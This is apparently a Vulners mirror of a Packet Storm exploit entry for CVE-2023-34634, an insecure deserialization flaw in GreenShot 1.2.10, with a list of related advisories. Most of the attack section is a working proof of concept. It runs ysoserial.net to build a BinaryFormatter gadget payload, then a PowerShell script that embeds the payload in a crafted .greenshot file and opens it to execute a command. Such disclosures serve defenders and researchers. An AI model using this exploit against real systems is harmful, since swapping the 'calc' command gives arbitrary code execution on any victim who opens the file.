Lucene search
K

GreenShot 1.2.10 Arbitrary Code Execution

🗓️ 31 Jul 2023 00:00:00Reported by p4r4bellumType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 320 Views

GreenShot 1.2.10 Insecure Deserialization Code Execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution Vulnerability
28 Jul 202300:00
zdt
0day.today
Greenshot 1.3.274 Deserialization / Command Execution Exploit
17 Aug 202300:00
zdt
ATTACKERKB
CVE-2023-34634
1 Aug 202314:15
attackerkb
Circl
CVE-2023-34634
1 Aug 202322:58
circl
CNNVD
GreenShot 安全漏洞
28 Jul 202300:00
cnnvd
CVE
CVE-2023-34634
1 Aug 202300:00
cve
Cvelist
CVE-2023-34634
1 Aug 202300:00
cvelist
Exploit DB
GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution
28 Jul 202300:00
exploitdb
Metasploit
Greenshot .NET Deserialization Fileformat Exploit
17 Aug 202319:51
metasploit
NVD
CVE-2023-34634
1 Aug 202314:15
nvd
Rows per page
`# Exploit Title: GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution  
# Date: 26/07/2023  
# Exploit Author: p4r4bellum  
# Vendor Homepage: https://getgreenshot.org  
# Software Link: https://getgreenshot.org/downloads/  
# Version: 1.2.6.10  
# Tested on: windows 10.0.19045 N/A build 19045  
# CVE : CVE-2023-34634  
#  
# GreenShot 1.2.10 and below is vulnerable to an insecure object deserialization in its custom *.greenshot format  
# A stream of .Net object is serialized and inscureley deserialized when a *.greenshot file is open with the software  
# On a default install the *.greenshot file extension is associated with the programm, so double-click on a*.greenshot file  
# will lead to arbitrary code execution  
#  
# Generate the payload. You need yserial.net to be installed on your machine. Grab it at https://github.com/pwntester/ysoserial.net  
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" --outputpath payload.bin -o raw  
#load the payload  
$payload = Get-Content .\payload.bin -Encoding Byte  
# retrieve the length of the payload  
$length = $payload.Length  
# load the required assembly to craft a PNG file  
Add-Type -AssemblyName System.Drawing  
# the following lines creates a png file with some text. Code borrowed from https://stackoverflow.com/questions/2067920/can-i-draw-create-an-image-with-a-given-text-with-powershell  
$filename = "$home\poc.greenshot"  
$bmp = new-object System.Drawing.Bitmap 250,61   
$font = new-object System.Drawing.Font Consolas,24   
$brushBg = [System.Drawing.Brushes]::Green   
$brushFg = [System.Drawing.Brushes]::Black   
$graphics = [System.Drawing.Graphics]::FromImage($bmp)   
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)   
$graphics.DrawString('POC Greenshot',$font,$brushFg,10,10)   
$graphics.Dispose()   
$bmp.Save($filename)   
  
# append the payload to the PNG file  
$payload | Add-Content -Path $filename -Encoding Byte -NoNewline   
# append the length of the payload  
[System.BitConverter]::GetBytes([long]$length) | Add-Content -Path $filename -Encoding Byte -NoNewline  
# append the signature  
"Greenshot01.02" | Add-Content -path $filename -NoNewline -Encoding Ascii  
# launch greenshot. Calc.exe should be executed  
Invoke-Item $filename  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation